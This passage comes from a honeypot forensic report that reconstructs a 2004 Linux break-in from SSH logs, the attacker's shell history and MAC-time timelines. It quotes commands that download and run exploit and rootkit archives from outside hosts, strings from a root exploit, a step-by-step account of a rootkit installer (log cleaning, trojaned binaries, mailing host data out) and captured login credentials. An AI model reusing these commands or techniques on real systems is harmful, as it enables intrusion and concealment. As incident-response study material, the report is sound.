Aug 18 05:11:25 dev1 sshd[31662]: Accepted password for test from 195.78.42.162 port 4780
Aug 18 05:13:50 dev1 sshd[31691]: Accepted password for test from 195.78.42.162 port 4787
Aug 18 06:07:18 dev1 sshd[31579]: fatal: Read from socket failed: Connection reset by peer
Aug 18 07:25:25 dev1 PAM_pwdb[31662]: (sshd) session closed for user test
Aug 18 08:27:55 dev1 PAM_pwdb[31691]: (sshd) session closed for user test
Aug 18 09:32:47 dev1 sshd[32659]: Accepted password for test from 195.78.42.162 port 3708
Aug 18 14:47:18 dev1 PAM_pwdb[32659]: (sshd) session closed for user test
[boingo: ~/hp-aut/output]$
```

**Text 5.15 login information from /var/log/messages**

Wow! Subtle he was not! From these logs, a short timeline of the events could already be created:

1. Aug 17, 22:23:18, a user from IP 202.28.25.130 logs in as “test” via ssh. (shell #1)
2. Aug 17, 22:23:58, shell opened from IP 202.28.25.130 logs out. (shell #1)
3. Aug 17, 23:18:28, a user from IP 81.196.70.89 logs in as “test” via ssh. (shell #2)
4. Aug 17, 23:18:49, the user from IP 81.196.70.89 changed the password for the user “test”. (shell #2)
5. Aug 17, 23:21:02, shell opened from IP 81.196.70.89 logs out. (shell #2)
6. Aug 18, 04:02:30, a user from IP 195.78.42.162 logs in as “test” via ssh. (shell #3)
7. Aug 18, 05:11:25, a user from IP 195.78.42.162 logs in as “test” via ssh. (shell #4)
8. Aug 18, 05:13:50, a user from IP 195.78.42.162 logs in as “test” via ssh. (shell #5)
9. Aug 18, 06:07:18, shell opened in step 6 is reset by peer. (shell #3)
10. Aug 18, 07:25:25, shell opened in step 7 logs out. (shell #4)
11. Aug 18, 08:27:55, shell opened in step 8 logs out. (shell #5)
12. Aug 19, 09:32:47, a user from IP 195.78.42.162 logs in as “test” via ssh. (shell #6)
13. Aug 19, 14:47:18, shell opened in step 12 logs out. (shell #6)

Since the password was changed by a login from IP 81.196.70.89, I guessed at this point that at least these two systems in this chain of events are related. Whoever logged in from 195.78.42.162 had to know what the new password was, so it was probably the same person or group of persons.

A quick search for the 202.28.25.130 IP in the logs shows a number of bad login attempts right before the successful login at 22:23:18, so it looks like that was the automated script that was probing the Honeypot for vulnerable user accounts. It probably found a vulnerable account and informed the hacker. They then connected via the 81.196.70.89 IP and changed the password. After waiting a few hours (to see if they had been noticed?) the hacker came back and started actually doing things.

A reverse DNS lookup shows that both 81.196.70.89 and 195.78.42.162 are Romanian IP addresses, while the 202.28.25.130 IP address belongs to a university in Thailand.

Even from the evidence gathered so far, a reasonably clear picture started to form in my head of what happened. Next, I went on to prove or disprove this picture.

5.8 .bash_history

On a Red Hat Linux system, the default shell (place to type commands, like a DOS prompt on a windows system) is the bash shell. The bash shell has a very nice feature. The bash shell records every command typed, in order, and stores it in memory so the user can reference it again as needed. When the shell is closed, the command history is written to a file called “.bash_history”. This is a wonderful feature for forensics analysis as well, with a few caveats. First, there is no timestamp next to each command so it’s possible to see what commands were run, and roughly in what order, but not when they were run. Second, the order things are written to disk depend on when the shell is closed. Think of it this way... if everyone in an office writes down what they do, and puts the list in a stack when they leave the office, it doesn't matter who got there at 7am, the first list in the stack is going to be they guy who left at 3pm!

A quick search for “.bash_history” revealed four files. Three of them were either blank or had commands from before the compromise. The fourth was /home/test/.bash_history and it was full of interesting commands! Another prime example of the hacker not really caring at all about hiding his tracks. Because of the way the .bash_history file is written to disk, I knew that

26 http://unix.about.com/cs/shellsbash/
the commands would be written in order, but some of the commands from shells 3, 4 and 5 could have happened at the same time, chronologically, and appear significantly after one another in the history. With this thought in mind, I attempted to isolate chunks of commands I was relatively sure were run sequentially.

**Simple Beginnings**

```
[root: /mnt/hacked/home/test]# cat -n .bash_history
 1 w
 2 passwd test
 3 passwd
```

*Text 5.16 .bash_history 1-3*

Here, the hacker checked to see what user he was, and then changed the password of the test account. This was probably done during the shell #2 which logged in at 23:18:49.

**First Download**

```
4 cd /usr/local/games/
5 wget www.geocities.com/sflavius2002/psybnc.tgz
6 cd ..
7 cd ..
8 cd ..
9 cd /var/tmp/
10 wget www.geocities.com/sflavius2002/psybnc.tgz
```

*Text 5.17 .bash_history 4-10*

Next, the hacker tried to download “psybnc.tgz” from a website into the /usr/local/games directory. It appears that he didn't have root access because without it, the download to the games directory would have failed. He then changed to the /var/tmp directory and tried again. A quick search of both locations fail to find this file. A google search was more successful. psybnc is a program used to hide your real IP while on IRC chat channels. Although the /usr/local/games directory didn't contain psybnc, it DID contain two interesting files, “sk” and “.sniffers” Not to get distracted, I noted their presence and continued analyzing the bash history file.

27 [http://www.jestrix.net/tuts/psy.html](http://www.jestrix.net/tuts/psy.html)
Here we see the first attempt to run something. After checking to see who and where he was, the hacker downloaded “expl.tgz” and unpacked it. He then changed directories (presumably into what he just unpacked.) The hacker then ran “./a” and checked his current user id. The hacker then ran “./p” and again checked his user id. Could these programs be how the hacker gained root access? Obviously, searching for “a” and “p” on the Internet would be pointless, so I had to get more information. I found the programs in /home/test/expl/ex, and ran `strings` on the files. Here are the more interesting parts of the output.

```bash
10 wget www.geocities.com/sflavius2002/psybnc.tgz
11 w
12 uname -a
13 ls -a
14 wget
15 wget mihai-doini.org/expl.tgz
16 tar xzfv expl.tgz
17 cd expl
18 cd ex
19 ./a
20 id
21 ./p
22 id
```

**Expl.tgz and root access**

Text 5.18 .bash_history 10-22
Strings from “p” were about the same. I immediately noticed the “telcom69” reference. Whatever else this program was, it was also infected with the RST virus as well.

An Internet search revealed that these two programs could be a ptrace() exploit[^28], designed to give a normal user root access. Both of these programs look like they do the same thing, upon closer inspection, a few differences were revealed. “a” was compiled against the libraries “glibc_2.1.3”, while “p” was compiled against “glibc_2.0”. Also, “p” has both the SUID and SGID bit set, allowing it to run as root, while “a” does not. Testing a theory, I unpacked the /home/test/expl.tgz file found on the system into a test location, and compared the versions of “a” and “p” found inside with the ones on my hacked image. I also downloaded the original archive file using the same command the hacker did, “wget mihai-doini.org/expl.tgz” and compared that version of “a” and “p” with the ones on my hacked image. Neither set of files were infected with the virus, and neither pair had their SUID/SGID bits set. Also, the uninfected versions gave better output to the `file` command:

```
[root: /mnt/hacked/home/test/expl/ex]# strings -a a ...
/proc/self/exe
[-] Unable to read /proc/self/exe
[-] Unable to write shellcode
[+] Signal caught
[-] Unable to read registers
[+] Shellcode placed at 0x%08lx
[+] Now wait for suid shell...
[-] Unable to detach from victim
[-] Fatal error
[-] Unable to attach
[+] Attached to %d
[-] Unable to setup syscall trace
[+] Waiting for signal
[-] Unable to stat myself
root
/bin/sh
[-] Unable to spawn shell
[-] Unable to fork
....
/bin/sh
xxxxyyyyzzzz
Y[XXXXXXXX
GET /~telcom69/gov.php HTTP/1.0
ppp0
....
[root: /mnt/hacked/home/test/expl/ex]#
```

This shows that the “p” program was compiled with an earlier compiler version. That could explain the SIUD/SGID bits. Perhaps the version compiled with the earlier version of the compiler executed successfully on the Honeypot, giving itself SUID/SGID permissions, and allowing the user to gain root access. Short of a full decompilation of both programs, I would never know for sure, and I didn't have time for that, so I did the next best thing. I used a program called VMware\textsuperscript{29} to create a test system, and run the programs myself, to see what happens. VMware is a very cool program that runs on a normal system and allows a “Virtual Machine” to be created within the program itself. This Virtual Machine can run just about any Operating System, allowing me to duplicate the Honeypot system in a safe manner. Any harmful programs run on the Virtual Machine would only affect it, and not the base OS. With one press of a button, the Virtual Machine can be reset to a point before the harmful program was run, allowing further testing.

After copying both the infected and clean versions of “a” and “p” to my VM system, I ran them all, as a regular user, and watched what happened. The clean version of “a” gave some output, and failed to give me a shell. The clean version of “p” immediately gave me a shell with root access. Both infected versions crashed and core dumped. Also, when the clean version of “p” gained root, it changed the ownership and group of itself to root, and added the SUID and SGID bit to the permissions. I also modified the permissions of both infected files to be owned by root and have the SGID/SUID bits set, and both still failed.

This information was not definitive, but fairly informative. The two executables I tested are obviously a way to gain root level access to a system. At least one of them works on a base Red Hat Linux 6.2 system. When one is run successfully, it changes its permissions and ownership. When an infected version is run, it crashes and leaves a core file. Checking the /home/test/expl/ex directory, I did find a core file for “a”, indicating it was run at least once after the infection.

Now that I knew how initial root access was gained, I continued the analysis of the .bash_history file. Next on the list, the rootkit!

Adore’ing the Honeypot

\textsuperscript{29} \url{http://www.vmware.com}
Here, after a small typo that probably indicates this wasn’t scripted, the hacker downloads and unpacks “rk.tgz”. During the last section of the bash_history, the hacker was in the /home/test/expl/ex directory. Sure enough, a “lol” subdirectory exists at that location. Entering that directory, I notice quite a few files, including the “install” script run next, and two directories, “adore-0.34” and “adore-0.42”. Adore is a relatively well known LKM rootkit. LKM stands for “Loadable Kernel Module.” It is a fairly advanced rootkit, designed to run as part of the base OS kernel. This rootkit has the ability to hide itself by actually restricting the data given to other programs run on the active system. For instance, if a program such as `netstat` is used to gather information about open network ports on a system, it has to ask the `kernel` to provide this information. If the kernel doesn't give it all the open ports, `netstat` would never know. It would report what it received as gospel. Adore also provides a local backdoor (root privileged shell) and comes with a helper program called “ava”.

Guess what the “./install” command installs? You got it! Adore, along with a bunch of other stuff. Here is a synopsis of what the install script does:

1. replaces `/etc/rc.d/init.d/syslogd` with a custom version and restarts syslogd
2. tries to configure and make adore-0.42 and if that fails, try again with adore-0.39
3. For which ever one succeeds, install the following :  
   a. adore.o --> /lib/modules/2.2.14-5.0/block/nfs-init.o  
   b. cleaner.o --> /lib/modules/2.2.14-5.0/block/cleaner.o  
   c. ava --> /usr/bin/ava
4. makes the directory `/etc/sysconfig/console` and put the following files in it:  
   a. default.ls  
   b. default.netstat  
   c. default.ps  
   d. default.socklist  
   e. default.syslog
5. change the MAC times for the following local files to be the same as the original files they are about to replace  
   a. syslogd.init == /etc/rc.d/init.d/syslog  
   b. sshd/init.sshd == /etc/rc.d/init.d/sshd  
   c. chsh == /usr/bin/chsh  
   d. socklist == /bin/socklist  
   e. ps == /bin/ps  
   f. /sbin/syslogd == syslogd

30 An interesting list of Adore’s capabilities compared to other rootkits can be found at http://neworder.box.sk/newsread_print.php?newsid=4182
31 For an in depth discussion of LKM hacking and rootkits, look at http://www.l0t3k.net/biblio/rootkit/en/LKM_HACKING.html
6. now, replace all those original files with the local (trojaned) versions
7. copy netstat over the top of /bin/netstat
8. also copy “clean” and “wp” into /usr/bin
9. Next, install 3 “flood” programs, “vadim”, “slice”, “and “stealth” into /usr/bin
10. runs /home/test/expl/ex/lol/sshd/sshd-install
   a. copy init.sshd into /etc/rc.d/init.d/sshd
   b. copy sshd_config into /etc/ssh
   c. copy sshd_config.2 into /etc/kernel_config
   d. copy sshd into /usr/sbin/kernel
11. add the contents of “functions” to the end of /etc/rc.d/init.d/functions
12. copy inetd over the top of /etc/rc.d/init.d/init.d and restart inetd
13. copy inet into /etc/rc.d/init.d and make it start automatically on boot
14. start /etc/rc.d/init.d/inet
15. cp lsof over the top of /usr/sbin/lsof
16. start the syslog again (it was already started earlier in the script)
17. run the ./clean restart, which removed any line with the word “restart” in it out of the log files inside /var/log.
18. send an email to sflavius2002@yahoo.com containing nifty information like CPU speed, OS, and hostname.

WOW! That script did quite a few things to my helpless Honeypot! Too bad for the hacker it did a bunch of things in the wrong order, or it would have been much more difficult to find what he did! I will explain MAC times in depth during the timeline analysis, but for now, lets just say that changing the MAC times of a file (#6), and then copying it (#7) pretty much completely defeats the purpose. The act of copying the file into place changes the MAC times back to the current date! Also, the rest of the files copied into place weren't hidden in any way either.

After installing the Adore LKM, the script put five files in /etc/sysconfig/console. I looked at those next. All of them appeared to be keyword lists of things to avoid showing. The one that mattered to me the most was “default.syslog”. Of the five commands listed (ls, netstat, ps, socklist, syslog) only syslog would write things down. If the syslog was replaced by a special hacked version, and this file were used, then any syslog log file is missing data after the compromise took place. A strings search of the hacked syslogd revealed nothing nor did looking at the replaced /etc/init.d/sshd. Checking out the /etc/init.d/functions file did show how the Adore LKM was triggered, and also showed that the LKM rootkit would have hidden the presence of the default files, along with most of the trojaned binaries that were installed, if it were running. However, nothing in the “lol” subdirectory contained any other references to /etc/sysconfig/console/default.syslog. Either something else the hacker installed makes use of these files or, as with so much of the install script, these files were put in by accident, and never used. The analysis continued.

Another Backdoor and then some
Next, my hacker downloaded and unpacked “sklol.tgz”. He then changed directories into “sk” and ran `inst` and `sk`. I am fairly certain that `sk` is actually yet ANOTHER rootkit, named SuckIt-1.3b. The reason I know is because rather than copy just the `inst` program to my system, the hacker was kind enough to provide me with source code, documentation, and the configuration file used to compile the rootkit (containing the password for the rootkit, which unfortunately is encrypted.) The `inst` script is actually the compressed `sk` binary, plus a short install script that moves `/sbin/init` out of the way and copies `sk` into its place. This insures that `sk` is run at boot, and therefore always available. `sk` is a backdoor program that will allow remote access to a compromised box to whomever uses the `login` program (also provided) and knows the password.

However, `sk` appeared to do something else. The file `/usr/local/games/.sniffer` references in both the `inst` script and `sk` itself contained some interesting data.

```
[root: /mnt/hacked/usr/local/games]# more .sniffer
./sshf :
./sshf :
/bin/login -- root :
Password: !cebreau!ceBreakers
[root: /mnt/hacked/usr/local/games]#
```

That looks like me, logging in as root, and misspelling the root password once before getting it right. A quick look at the logs confirms that the “.sniffer” file was accessed 1 second before my successful login from the console. So `sk` is also sniffing login attempts from the console. Neat! In the wrong hands, this could be very dangerous!

```
34 cd ..
35 wget mihai-doini.org/scan-ssh.tgz
36 tar xzfv scan-ssh.tgz
37 cd scan-ssh
38 ./go.sh 66.116
39 ./go.sh 192.153
40 cd ..
```

Scan and Infect

Here, our friendly neighborhood hacker downloaded and unpacked “scan-ssh.tgz”.

Page 28
Anyone care to guess what this one does? Well, you’re partially right. Not only does it do the brute force scan similar to what was done to the Honeypot to find the vulnerable account, it also is infected with the RST virus. A quick look at the access times shows a possible correlation:

```
[root: /mnt/hacked/home/test/expl/ex/scan-ssh]# ls -al --time=ctime
total 1300
drwxr-xr-x 2 root root 4096 Aug 18 06:08 .
drwxr-xr-x 5 501 501 4096 Aug 18 09:55 ..
rwxr-xr-x 1 root root 799 Aug 18 05:49 go.sh
-rwxr-xr-x 1 root root 458068 Aug 18 05:49 ss
-rwxr-xr-x 1 root root 843544 Aug 18 06:07 sshf
-rw-r--r-- 1 root root 3071 Aug 18 06:07 uniq.txt
-rw-r--r-- 1 root root 1 Aug 18 05:49 vuln.txt
```

**Text 5.25 Creation time of scan-ssh files**

The files `go.sh`, `ss`, and `vuln.txt` were all created on Aug 18th at 5:49 PST. This is the same time the first infected binary was run on the system, as discussed earlier. The access times (the time the files were last executed in this case) is different, but the `.bash_history` file shows that `go.sh` was run at least twice. Since only the latest access time is recorded, this would account for the differences.

So, I knew how the system was infected. What else could I find?

**Woot and Mirkforce**

```
41 ls -a
42 ls -a
43 cd expl
44 cd ex
45 ./a
46 ./p
47 wget mihai-doini.org/woot.tgz
48 tar xzvf woot.tgz
49 cd w00t
50 ./asmb 66.116
52 tar xzvf mirkforce.tgz
53 cd ecmf
54 ./mirkforce
```

**Text 5.26 .bash_history 41-54**

These next section of commands have a number of different things happening. First, “woot.tgz” was downloaded and unpacked. Next, `/asmb 66.116` was run. On the Internet again, I found a few references to woot and asmb, that pointed to a samba scanner of some sort, but nothing conclusive. Searching the hacked image for “asmb” or “woot.tgz” found nothing. The files were gone. Later, I would try to recover any deleted files on the image and see if “woot.tgz” was among them. Just out of curiosity, I downloaded the file “woot.tgz” from mihai-doini.org, and unpacked it to see what was inside. `asmb` was there, and it was a SMB scanner, but I would view this as suspect evidence. Although unlikely with the total lack of sophistication
my hacker has exhibited so far, these commands could have been planted, along with the .tgz file at the web site, to make me think something was run that was not. However, network logs did show a SMB scan take place from the Honeypot to the 66.116 subnet, so it was probably installed, and then later deleted.

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>140204</td>
<td>2004-08-18 09:33:18.820133</td>
<td>66.116.69.98</td>
<td>66.116.0.2</td>
<td>TCP 1066 &gt; TCP 139 [SYN]</td>
<td></td>
</tr>
<tr>
<td>140206</td>
<td>2004-08-18 09:33:18.820220</td>
<td>66.116.69.98</td>
<td>66.116.0.4</td>
<td>TCP 1068 &gt; TCP 139 [SYN]</td>
<td></td>
</tr>
<tr>
<td>140208</td>
<td>2004-08-18 09:33:18.820424</td>
<td>66.116.69.98</td>
<td>66.116.0.5</td>
<td>TCP 1069 &gt; TCP 139 [SYN]</td>
<td></td>
</tr>
</tbody>
</table>

Text 5.27 Network logs: asmb scanner

The next string of commands was very similar. “mirkforce.tgz” was downloaded, unpacked, and run. The Internet references to mirkforce were more conclusive than the ones for admn, but again, nothing was found on the hacked image to authenticate this evidence. mirkforce appears to be a program used to conduct a Denial of Service attack on an IRC server. One of the things mirkforce does when it starts is create a virtual network interface for every open IP address on the subnet of the attacking system. In the case of the Honeypot, there were 33 IP addresses not used on its subnet. I know this, because one of the things I did when I first logged into the system to start the investigation was run a known good version of ifconfig. ifconfig is an OS utility that shows all network interfaces, both real and virtual, currently configured on a computer. The output of that command (excerpt below) shows that quite a few virtual network interfaces had been created. Also, network logs did confirm that an attack to an IRC server took place from the Honeypot a few minutes after the asmb related scan took place.

Text 5.28 ifconfig output from hacked system

32 http://hackreport.magicnet.org/mirkforce-info.html
The last thing in the history file is the deletion of a few archive files, and the deletion of the “w00t” directory. During a later phase of the investigation, I would try to recover these deleted files.

```
55 cd ..
56 ls -a
57 cd ..
58 ls -a
59 rm -fr scan-ssh.tgz sklol.tgz woot.tgz w00t
[root: /mnt/hacked/home/test]
```

The analysis of .bash_history file took care every single file on the “unusual differences” list! Any file on the Honeypot that was changed fits into 3 categories:
1. Changes from normal day to day activity (logs, for instance.)
2. Modifications by me before the hack, or during the initial evidence gathering/destruction phase of the analysis.
3. Modifications clearly shown in the .bash_history file.

**Running Summary, part 4**

A huge amount of evidence has been gathered since the last summary! Here is a condensed version of what's been found.

A Honeypot system was created, and an MD5 hash was taken of each file on the original, un-hacked system. The Honeypot was then exposed to the world, and got hacked. Initial evidence was gathered off the running system, and it was shut down. A duplicate of the data on the Hard Disk was made for analysis. That duplicate was moved to the forensic laptop and analyzed. A comparison of the MD5 hashes from the original system and the hacked image showed 353 different files. 265 of those files could not be accounted for as changed by either myself or normal, day to day system activity.

The hacker broke in after finding the “test” user account with an easy password. He didn't try to hide his tracks at all, so most of his actions can be easily verified by looking at modified files on the compromised image, and by looking at the .bash_history file for the “test” user. Login and logout times can easily be verified by looking at existing system logs that were never cleaned by the attacker. After logging in and changing the password for “test”, the hacker
proceeded to download and use two programs that used a “ptrace” exploit to gain root access. After gaining root access, the hacker installed:
1. Many modified binaries
2. The Adore Loadable Kernel Module Rootkit
3. A modified version of the SSH service
4. A number of custom programs for doing things like attacking other systems or cleaning system logs
5. A SSH scanner to find other vulnerable systems
6. A really cool Kernel Level Rootkit called “SuckIt” that provides an encrypted remote shell (presumably with root access), hides files and processes from non-”SuckIt” users, and captures login information for anyone who logs into the system.
7. A SMB scanner named “asmb” which appears to have been run, and then deleted.
8. “Mirkforce”, a program for conducting a DOS attack on an IRC server, which also appears to have been run, and then deleted.
9. Modified startup scripts to allow the modified SSH, and both rootkits to be run on reboot.

    Both asmb and mirkforce were deleted, but network logs captured during the incident do indicate that they were run. It also appears that the hacker installed a utility for hiding source IPs while connecting to an IRC server, called “psybnc”. However, no evidence of the files can be found on disk and network logs do not show that it was ever used. The only source of evidence for “psybnc” is the .bash_history file for the “test” user.

    The hacker also managed to infect the system with a RST virus when he ran the SSH scanner. This virus actually broke the ptrace exploit programs, which makes it look as if the hacker almost hacked himself out of the system by breaking one of his modes of entry. He still got in through the modified SSH service he installed, but it looks as if he was just lucky that also wasn't infected.

    As the last command listed in the .bash_history file, the hacker deleted a few of the archive files he had downloaded, and deleted the directory containing the asmb programs.

    Every modified file on the system can be accounted for by either analysis of the hacker commands listed in .bash_history, as files that normally change, such as logs, or as files modified by me before or after the incident.

6 Timeline Analysis

All files on a modern computer system have 3 times associated with them. Some file systems, such as NTFS or EXT3FS have 4 times, but on the file system the Honeypot was using (EXT2) there are only 3 times. These are the last time the file data was (M)odified, the last time the file data was (A)ccessed, and the time the file was (C)reated. These timestamps are usually referred to as the MAC times.

Each file system type updates these timestamps for slightly different reasons. On an EXT2 file system, the Modify time is updated when the file is created, or when the files data is changed. The Access time is updated when the file is created, and when the file data is read, or the file is executed (if its executable, of course.) The Create time on an EXT2 file system is a bit different than you would expect, however. It is updated when the file is created, but the Create time is also updated whenever the metadata is changed. For this reason, the Create time is also called the Change time, depending on who you talk to. Changes to the metadata that would
update the Create time include things like changing the name, the permissions, or when the file grows large enough to require another block of space for data. On an EXT2 file system, the Create time is also updated when the file is deleted.

Although these timestamps are relatively easy to modify with commands such as `touch`, it is difficult for even the best hacker to completely hide his tracks by reverting every single file accessed or modified back to its original timestamp. For this reason, a timeline that shows MAC times in chronological order can be very helpful to a forensic analysis.

To create this timeline, I actually used “Autopsy” which is a Graphical User Interface for the utilities provided by “The Sleuth Kit”. However, rather than showing screen shots explaining how I clicked on the third radio button from the left, then hit “go”, I would rather explain the commands used by `autopsy` to do the actual work. The GUI is great, and I used it extensively, but its the back-end commands that actually matter.

Creating the Timeline

The first step to creating a MAC timeline was to run the utility `fls` on each disk image I was interested in. `fls` is a program used to list the file and directory names in an image, along with other important information like permissions, owner, inode, and MAC times in a special format. Here is an example of the commands used:

```
fls -m "/" -f linux-ext2 -r dd.hda6 >> example-body
```

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-m /</code></td>
<td>Display the files in “time machine format”. This allows the output to be merged with output from other utilities before being run through <code>mactime</code> to get a human readable format. The files will be printed as though they are mounted at “/” (meaning it will look like a root partition)</td>
</tr>
<tr>
<td><code>-f linux-ext2</code></td>
<td>What type of file system the image is.</td>
</tr>
<tr>
<td><code>-r</code></td>
<td>Recursively list all files in the image.</td>
</tr>
<tr>
<td><code>dd.hda6</code></td>
<td>Use the “dd.hda6” image file</td>
</tr>
<tr>
<td><code>&gt;&gt; example-body</code></td>
<td>Append the output to the end of the file “example-body”</td>
</tr>
</tbody>
</table>

Table 6.1 `fls` options

Since I was also interested in the `dd.hda1` image, I also ran `fls` on that disk image file. The only difference being the “-m /boot” which prints the output as if the image was mounted at `/boot/` (which it was.)

```
fls -m "/boot/" -f linux-ext2 -r dd.hda1 >> example-body
```

`fls` was used to list all the files that hadn’t been deleted, so the next step was to use the program `ils`. `ils` is designed to list information on all the inodes in a disk image. By default, `ils` only lists inode information about deleted files, which is what we need now. `ils` lists the same information as `fls`, and (with the right options) outputs the information in the same format. Here are the commands, and explanation. The same command was used for both `dd.hda6` and `dd.hda1`

disk image.

`ils -m -f linux-ext2 dd.hda6 >> example-body
ils -m -f linux-ext2 dd.hda1 >> example-body`

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-m</code></td>
<td>Display the files in “time machine format”. This allows the output to be merged with output from other utilities before being run through <code>mactime</code> to get a human readable format.</td>
</tr>
<tr>
<td><code>-f linux-ext2</code></td>
<td>What type of file system the image is.</td>
</tr>
<tr>
<td><code>dd.hda6</code> (or <code>dd.hda1</code>)</td>
<td>Use the “<code>dd.hda6</code>” or “<code>dd.hda1</code>” image file.</td>
</tr>
<tr>
<td><code>&gt;&gt; example-body</code></td>
<td>Append the output to the end of the file “example-body”</td>
</tr>
</tbody>
</table>

Table 6.2 `ils` options

Now that the inode information is all in one big file, `mactime` can be used to parse through that data and output something that is easily readable to a human forensics specialist. `mactime` takes a file written in “time machine format” and creates a timeline from that information. `mactime` takes a few more options than `fls` or `ils` to work the the way I need it to work. Here is the command and an explanation of the options used:

`mactime -b example-body -p /mnt/hacked/etc/passwd -g /mnt/hacked/etc/group -d 8/16/2004 > tl-20040816on.csv`

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-b example-body</code></td>
<td>Use the body file “example-body” created using <code>ils</code> and <code>fls</code> in the previous examples.</td>
</tr>
<tr>
<td><code>-p /mnt/hacked/etc/passwd</code></td>
<td>use the file “/mnt/hacked/etc/passwd” as the password file. UID to username mappings are gathered from this file.</td>
</tr>
<tr>
<td><code>-g /mnt/hacked/etc/group</code></td>
<td>use the file “mnt/hacked/etc/passwd” as the group file. GID to group name mappings are gathered from this file.</td>
</tr>
<tr>
<td><code>-d</code></td>
<td>Output the timeline in CSV format so it can be imported into a spreadsheet easily.</td>
</tr>
<tr>
<td><code>08/16/04</code></td>
<td>The day the timeline should start. Information from dates before this will not be written in the timeline. This option is used to trim the timeline to a more reasonable size, by specifying a time AFTER the initial OS installation.</td>
</tr>
<tr>
<td><code>&gt; tl-20040816on.csv</code></td>
<td>Output everything to the file “tl-20040816on.csv”</td>
</tr>
</tbody>
</table>

Table 6.3 `mactime` options

I also created a timeline without a date option that starts from the beginning of time, which for a computer happens to be Jan 1, 1970.

Even starting the on Aug 16th, there are still 7765 lines in the timeline, so I won't show the entire timeline file for the hacker incident. To view the entire timeline, see the attached text file. Instead, I will show highlights of important times and explain how they help solidify the chain of events that took place during the incident.

**Important side note:** Every night, at roughly 4:02AM local time, a default Red Hat Linux 6.2 system runs a number of maintenance programs automatically. One of these update system database files used to index every manual page on the system. Another updates a system
database file that is used to quickly locate every file on the system. These automated processes touch thousands of files each night, modifying their access times. Because the timeline encompasses a few days, these processes were triggered during the hack. One of the SSH logins actually occurred as these programs were running! This means some timeline evidence has been compromised, but more importantly, the data I need to look at is buried within thousands of legitimate entries. The parts of the timeline I will show in this section will contain a few, but not all of these entries. The attached timeline will show everything.

Timeline output can be read easily if you know how. Here is a short explanation of the columns:
- **Date**: The date and time a file was changed. Duplicate Date entries were removed for ease of reading.
- **Size**: The size in bytes of the file that was changed.
- **Type**: Which timestamp was changed. (M)odify, (A)ccess, or (C)reate.
  - When a file is created, all 3 timestamps are updated, and all show the same time.
  - When a file is read, or when an executable file is run, the (A)ccess time is updated.
  - When a file's metadata is changed, the (C)reate time is updated.
- **Mode**: The file permissions. The first character also shows if the file is a special file, such as a directory, link, or device file.
- **UID/GID**: The Owner and Group of the file. When possible, mactime finds the actual user name associated with the UID/GID numbers, and writes those names. If there is no name corresponding to the UID/GID, the number is written instead.
- **Meta**: The inode number where the metadata for the file is written.
- **File Name**: The file name and path.

**Timeline Tidbits**

First, I verified when the system was installed. Here, the /boot and /proc directories are being created. This is one of the first things that happens after a disk is partitioned during an install, so this is when the OS install began.

<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wed Jul 14 2004</td>
<td>16384</td>
<td>m.c</td>
<td>d/drwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>11</td>
<td>/boot/lost+found</td>
</tr>
<tr>
<td>Wednesday Jul 14</td>
<td>4096</td>
<td>mac</td>
<td>d/drwxr-xr-x</td>
<td>root</td>
<td>32513</td>
<td>/boot</td>
<td></td>
</tr>
<tr>
<td>03:15:16</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>4096</td>
<td>mac</td>
<td>d/drwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>65025</td>
<td>/proc</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Wednesday Jul 14</td>
<td>0</td>
<td>..c</td>
<td>-/-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>211339</td>
<td>/etc/motd</td>
</tr>
<tr>
<td>03:16:07</td>
<td>674</td>
<td>..c</td>
<td>-/-rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>211331</td>
<td>/etc/csh.login</td>
</tr>
</tbody>
</table>

Table 6.4 Timeline: OS install

The last thing I did to the system before the incident was add the “test” user and change its password. Here, we can see signs of my actions.
Table 6.5 Timeline: Adding the "test" user

The root/.bash_history was last updated when I logged out as root after creating the “test” user with the command `useradd`. The only thing left is to see what parts of the “test” user's `.bash_history` file I can verify. Looking through the timeline, I was able to pick out a number of correlations. To help with the visualization of events, I added the login and logout information previously gathered from the /var/log/messages file into the timeline.

If I were to add every interesting detail I could discern from the timeline, this analysis would be about 20 pages longer, so I will spare you the gory details on many of these points. I was able to find times for almost every chunk of commands in the `.bash_history` file. Here are a few of the more interesting points.

<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mon Aug 16 2004</td>
<td>53200</td>
<td>.a.</td>
<td>/usr/sbin/useradd</td>
<td>root</td>
<td>146491</td>
<td></td>
<td>/usr/bin/clear</td>
</tr>
<tr>
<td>Mon Aug 16 2004</td>
<td>4096</td>
<td>m.c</td>
<td>/home/test/.kde/share</td>
<td>test</td>
<td>312859</td>
<td></td>
<td>/home/test/Desktop/Trash</td>
</tr>
<tr>
<td>Mon Aug 16 2004</td>
<td>3394</td>
<td>.a.</td>
<td>/etc/skel/.screenrc</td>
<td>test</td>
<td>296889</td>
<td></td>
<td>/etc/pam.d/passwd</td>
</tr>
<tr>
<td>Mon Aug 16 2004</td>
<td>4096</td>
<td>m.c</td>
<td>/etc/skel/.screenrc</td>
<td>test</td>
<td>345366</td>
<td></td>
<td>/etc/shadow</td>
</tr>
<tr>
<td>Mon Aug 16 2004</td>
<td>3214</td>
<td>.a.</td>
<td>/etc/shadow</td>
<td>root</td>
<td>32715</td>
<td></td>
<td>/usr/bin/clear</td>
</tr>
</tbody>
</table>

